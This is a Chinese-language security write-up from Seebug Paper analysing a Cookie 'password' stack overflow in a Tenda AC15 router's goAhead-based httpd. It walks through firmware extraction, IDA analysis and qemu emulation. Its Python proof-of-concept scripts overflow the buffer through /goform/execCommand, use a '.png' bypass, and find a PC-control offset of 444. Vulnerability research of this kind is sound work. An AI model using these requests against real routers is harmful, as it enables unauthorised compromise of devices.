作者:Ryze-T
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
0x00 简介
CVE 详情:
从 Description 中可知,由 COOIKE 请求头中的 password 参数触发远程代码执行漏洞,因此固件中要分析的文件应该是 HTTP 相关的文件。
0x01 固件提取
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
得到 squashfs-root 文件夹。bin 文件下有个 httpd 二进制文件:
arm32 架构的程序。
0x02 分析
搜索 web 相关函数:
百度搜索这些函数,会发现这使用的是 goAhead 框架。字符串搜索 .1 找到一个 2.1.8,很像是版本号,搜索下载 goAhead 2.1.8。其中 webs.h 中有一个结构体:
typedef struct websRec {
ringq_t header; /* Header dynamic string */
time_t since; /* Parsed if-modified-since time */
sym_fd_t cgiVars; /* CGI standard variables */
sym_fd_t cgiQuery; /* CGI decoded query string */
time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char_t ipaddr[32]; /* Connecting ipaddress */
char_t type[64]; /* Mime type */
char_t *dir; /* Directory containing the page */
char_t *path; /* Path name without query */
char_t *url; /* Full request url */
char_t *host; /* Requested host */
char_t *lpath; /* Cache local path name */
char_t *query; /* Request query */
char_t *decodedQuery; /* Decoded request query */
char_t *authType; /* Authorization type (Basic/DAA) */
char_t *password; /* Authorization password */
char_t *userName; /* Authorization username */
char_t *cookie; /* Cookie string */
char_t *userAgent; /* User agent (browser) */
char_t *protocol; /* Protocol (normally HTTP) */
char_t *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char_t *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
} websRec;
typedef websRec *webs_t;
typedef websRec websType;
找到里面特殊的 ringq_t 结构体:
typedef struct {
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
} ringq_t;
sym_fd_t 其实就是 int,char_t 就是 char。
格式化后将这两个结构体导入到 IDA 中。
goAhead 2.1.8 的 main.c 中有一段:
IDA pro 中 sub_2D3F0 也有类似的一段:
这个 R7WebSceurityHandler 应该是二次开发的函数。
WebSceurityHandler 函数官方文档表明是用来做默认 URL 的安全策略的函数,若需要替换安全策略,可以修改该函数。
其函数原型如下:
#include "webs.h"
int websSecurityHandler(webs_t wp, char_t *url, char_t *path, char_t *query);
再来看 R7WebsSecurityHandler,往下翻翻就能看见一个未经限制的 sscanf:
对照 WebSceurityHandler,将 a1 替换成之前的 websRec 结构体:
漏洞触发点出来了,cookie 中 password 的值未经过滤,可能会导致栈溢出。
但是要达到这条路径没有那么简单,还有一些条件:
因此需要找一个符合条件的目录,比如 goform/execCommand。
0x03 固件模拟
qemu-arm 指定根路径启动httpd:
qemu-arm -L ./ ./bin/httpd
找到关键词:
有一个关于 check_network函数的校验,可能会导致死循环,先patch掉:
再次运行还是报错:
再次搜索关键词,发现触发了 ConnectCfm(v2) 的判断,再patch,再执行:
监听255.255.255.255了,这里配置一下桥接网络。
apt install uml-utilities bridge-utils
brctl addbr br0
brctl addif br0 eth0
ifconfig br0 up
dhclient br0
chroot ./ ./qemu-arm-static ./bin/httpd
0x04 PoC
import requests
url = "http://10.211.55.21:80/goform/execCommand"
payload = 'a' * 500
headers = {
'Cookie': 'password="' + payload + '"'
}
print(headers)
response = requests.request("GET", url, headers=headers)
gdb-multiarch 调试一下,程序断在这:
可以看到,r3已经被覆盖为 'aaaa',由于程序访问了r3处的内存,造成内存读取错误,程序并没有走到函数返回处。
通过对花括号的匹配,漏洞触发点后续的代码运行都取决于93-100行的判断:
此判断是判断 url 中是否包含一些特征字符,那么只需要在url后加入 .png 就可以使判断失败,从而直接运行到函数尾部。
但在在判断前,url已经被我们所覆盖,因此只要在payload中加上.png就可以完成目标。
再次尝试并计算偏移:
import requests
url = "http://10.211.55.21:80/goform/execCommand"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
'Cookie': 'password=' + payload
}
print(headers)
response = requests.request("GET", url, headers=headers)
PC被劫持,且偏移为444。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2065/